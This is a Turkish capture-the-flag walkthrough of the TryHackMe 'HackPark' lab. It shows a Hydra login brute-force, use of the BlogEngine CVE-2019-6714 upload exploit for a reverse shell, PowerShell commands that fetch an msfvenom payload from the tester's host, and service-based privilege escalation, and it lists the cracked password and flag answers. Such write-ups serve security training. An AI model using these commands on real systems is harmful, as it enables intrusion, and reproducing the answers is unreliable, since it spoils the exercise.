HackPark Çözümü -Tryhackme

TryHackMe üzerinde bulunan HackPark isimli makineyi başlattığım(deploy) zaman aldığı ip adresi 10.10.254.73’dir. Bu ip üzerinden işlemleri gerçekleştireceğim.

Whats the name of the clown displayed on the homepage?

  • Web arayüzüne girdiğimiz zaman bir palyaço bizi karşılıyor. İpucu(hint) olarak verdiği ise, reverse image search’dir. https://www.labnol.org/reverse/ indirdiğimiz resmi yüklediğimiz zaman google üzerinden eşleştirmeleri getiriyor. Show matching images dememiz gerekiyor. Bununla beraber bulduklarım; tim curry ya da pennywise ‘dır. Cevap ise

pennywise

HackPark Task 2

Bizden ilk olarak login dizini bulmamız bekleniyor. Bunun için gobuster veya dirb araçlarını kullanabiliriz. Ben gobuster kullanacağım.

gobuster dir -u http://10.10.254.73 -w /usr/share/wordlists/dirb/common.txt

-u parametresi hedef ip adresidir, -w ise daha önceden oluşturulmuş dizin listesidir. Ekran çıktısından görüldüğü üzere login panelini bulduk. http://10.10.254.73/admin adresi ile gidebiliriz.

gobuster kullanımı

What request type is the Windows website login form using?

Login sayfasına eriştiğimiz zaman Inspect element tıklayıp, Network alanına geliyoruz. Bu alanda isteğimizin post olduğunu görebiliriz.

POST

Guess a username, choose a password wordlist and gain credentials to a user account!

Login ekranına Bruteforce yapmamız gerekiyor. Bunun için Hydra önermiş, siz daha farklı araçlarda kullanabilirsiniz. Örneğin Burp suite gibi uygulamalar ile de ilerleyebilirsiniz. Ayrıca username için admin ifadesi ipucu kısmında verilmiş.

Hydra ile Bruteforce yapmak,

hydra -f -l admin -P /usr/share/wordlists/rockyou.txt 10.10.254.73 http-post-form "/Account/login.aspx?ReturnURL=/admin/:__VIEWSTATE=nbWrkCqQ%2B1Hn%2Fgt8OwrXb%2B%2BFMX0bVJv9xbWiO3oASE6l0%2BDl73MXEP2ao2pwbsK6Jr4MzOI9cbeVU7o5WL%2BFKDPWl1RXjt5kLGmi%2F1d9biM%2Fi3jThbmDihH1A7JWIVyWFQ3lIXAOLpqdlBKHFv6dZd8XzdjcN%2FrgmGzhog7Sf0Ml3kvolr3pzU9VlhHtBqJZNJ%2FkQVxtOT%2Bc%2FxMceQklmwd%2FeiI1sb4%2B4Mv4ol44Uy4Mf9Vaw%2B6OUiBt1BZn8PQoOcFS6ul97keSrPf2jTIqUqeC1YQwwE0FU7Syl8jfviP6nsNb4aSX6ASTDZlajXjkTtFum%2Bpk3uz4%2FtNoraPjA%2FTn5DuX56Sbr4I9oGPQznIuhjc0&__EVENTVALIDATION=pKMn8W0WIp7BuOhOq9YO49%2BqkAVDl1TJjXzk%2BDzHnOyizFWE7BYkR%2Frn983R5edqA0yBYDn%2Fi7BIxrq%2FJlxoiMHPZ2UN1iFWs83YOrgnVHxJtr4R811S4kAhpj4kb6aqZ1r9F5iqUqIoj3gfQjf%2BtO7mRTdLARthnldxPEA73U3caeMM&ctl00%24MainContent%24LoginUser%24UserName=^USER^&ctl00%24MainContent%24LoginUser%24Password=^PASS^&ctl00%24MainContent%24LoginUser%24LoginButton=Log+in:Login failed" -V

-f şifre bulunduktan sonra çıkış yapmasını sağlar. -l tek kullanıcı adı için, -P wordlist için, http-post-form istek metodur. -V daha detaylı bilgi almak için yardımcı olan parametrelerdir. Giden isteğin içeresinde bulunan payload değerini Request payload bölümünde görebilirsiniz. Headers kısmında ise hangi dizine istek attığını görebilirsiniz

HackPark hydra bruteforce

1qaz2wsx

HackPark Task 3

Görevin bizden istediği exploit db üzerinden çalıştırabileceğimiz exploit bulup makine üzerinden reverse bağlantı almamızı bekliyor.

-Versiyonu ilk soruda öğrendiğimiz için exploit db üzerinden versiyonu ile arama yapabiliriz.

-Exloit db, exploitlerin bulunduğu veritabanıdır. Tüm kodlar açık kaynakdır.

Now you have logged into the website, are you able to identify the version of the BlogEngine?

admin:1qaz2wsx username/password ile giriş yapılır.

http://10.10.254.73/admin/about.cshtml adresinde versiyon bilgisini bulunur.

3.3.6.0

What is the CVE?

Exploit db üzerinden arama kısmına, blogengine ve versiyon araması gerçekleştirerek bulabiliriz. Ayrıca Verified seçeneğine tik atmamız durumunda exploit işlemin kararlı olarak çalışabileceğini söyleyebiliriz. Ek olarak searcsploit aracı ile de bulabiliriz.

searchsploit blogengine 3.3.6 
HackPark çözümü

CVE-2019-6714

Exploit indirilir ve ismini anlatıldığı gibi PostView.ascx yapalım. İsim değişikliği sonrası herhangi bir editör ile expoit dosyasını açalım. Burada reverse bağlantı yapacağı ip adresini ve port numarasını değiştireceğiz. TcpClient alanında bulunan ip adresini ve port numarasını kendi değerlerimiz ile değiştirmeliyiz.

netcat ile gelen bağlantıyı dinlemek

netcat -lvp 4445

http://10.10.254.73/admin/app/editor/editpost.cshtml adresine gidelim. File manager alanına PostView dosyasını yükleyelim. Yükleme sonrası http://10.10.254.73/?theme=../../App_Data/files adresinden istek atalım.

Özetlemek gerekirse, Path traversal zafiyetini bulunan sisteme tersine socket açabilcek bir dosya yüklüyoruz. Yüklediğimiz dosya zafiyetten dolayı dışarıdan tetiklenebiliyor. Tetikleme sonrası netcat ile dinlediğimiz bağlantıyı yakalıyoruz. Hadi Soru CEVABINI YAZALIM.

whoami komutu ile cevabı görürüz.

iis apppool\blog

HackPark Task 4 Windows Privilege Escalation

Bu bölümde netcat ile aldığımız oturumu meterpretere oturmuna geçirmemizi istiyor ve sonrasında yetki yükselmesi yapmamız bekliyor.

msfvenom ile reverse shell payload aşağıda ki komut ile oluşturulur. -p payload, -a işletim sistemin 32 bit olduğu LHOST ip adresiniz, LPORT çakışmayan bir port numaranız.

msfvenom -p windows/meterpreter/reverse_tcp -a x86 --encoder  x86 --encoder x86/shikata_ga_nai LHOST=10.8.233.100 LPORT=4422 -f exe -o pivot.exe
python -m SimpleHTTPServer 80

İlgili dizin üzerinde web server açılır. Dosya transferi için kullanacağız.

Reverse olacak gelecek bağlantı için multi handler ile yakalayalım. Gerekli LHOST ve LPORT ayarlanır.

msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 10.8.233.100
set lport 4422

netcat oturumu üzerindenden pivot.exe indirilir.

powershell "(New-Object System.Net.WebClient).Downloadfile('http://10.8.233.100:80/pivot.exe','pivot.exe')"
Evet artık meterpreter oturumuna geçtik.

What is the OS version of this windows machine?

sysinfo komutu ile görebiliriz.

Windows 2012 R2 (6.3 Build 9600).

What is the name of the abnormal service running?

WindowsScheduler

What is the name of the binary you’re supposed to exploit? 

Vermiş olduğu ipucuya göre c:\program files (x86)\ dizine gidip oradaki dosyaları incelememizi bekliyor. Bununla beraber bulunan dosya Message.exe dir

Message.exe

WinPEAS İle bilgi toplamak

winPeas.bat dosyası ilgili git hub sayfasından indirilir. Meterpreter oturumundan C:\Windows\temp\winpeas.bat olarak atılır.

Tekrardan hatırlatmak gerekirse, aşağıda ki gibi aktarılabilir.

powershell -c "Invoke-WebRequest -Uri 'http://10.8.233.100:80/winPEAS.bat' -OutFile 'C:\Windows\Temp\winpeas.bat'"
python -m SimpleHTTPServer 80

winPeas.bat dosyasının bulunduğu yere web server aktif hale getirilir.

\winpeas.bat

winPeas ile çalışan processlere baktığımızda zamanlı çalışan bir servis olduğunu görüyoruz.

İpucuda “C: Program Files(x86)” gitmemiz gerektiğini söylüyordu. Oradan SystemScheduler dizine ve Events kısmında loglara baktığımızda Administrator yetkisi ile Message.exe çalıştığını görüyoruz. Ayrıca tüm izinleri yapılandırılmış durumdadır. Şimdi Message.exe isimli reverse shell payload oluşturalım.

Message.exe olarak attığımız reverse shell payload ile bağlantımızı aldık.

What is the user flag (on Jeffs Desktop)?

759bd8af507517bcfaede78a21a73e39

What is the root flag?

7e13d97f05f7ceb9881a3eb3d78d3e72

Using winPeas, what was the Original Install time? (This is date and time)

8/3/2019, 10:43:23 AM

Leave a Reply

Your email address will not be published. Required fields are marked *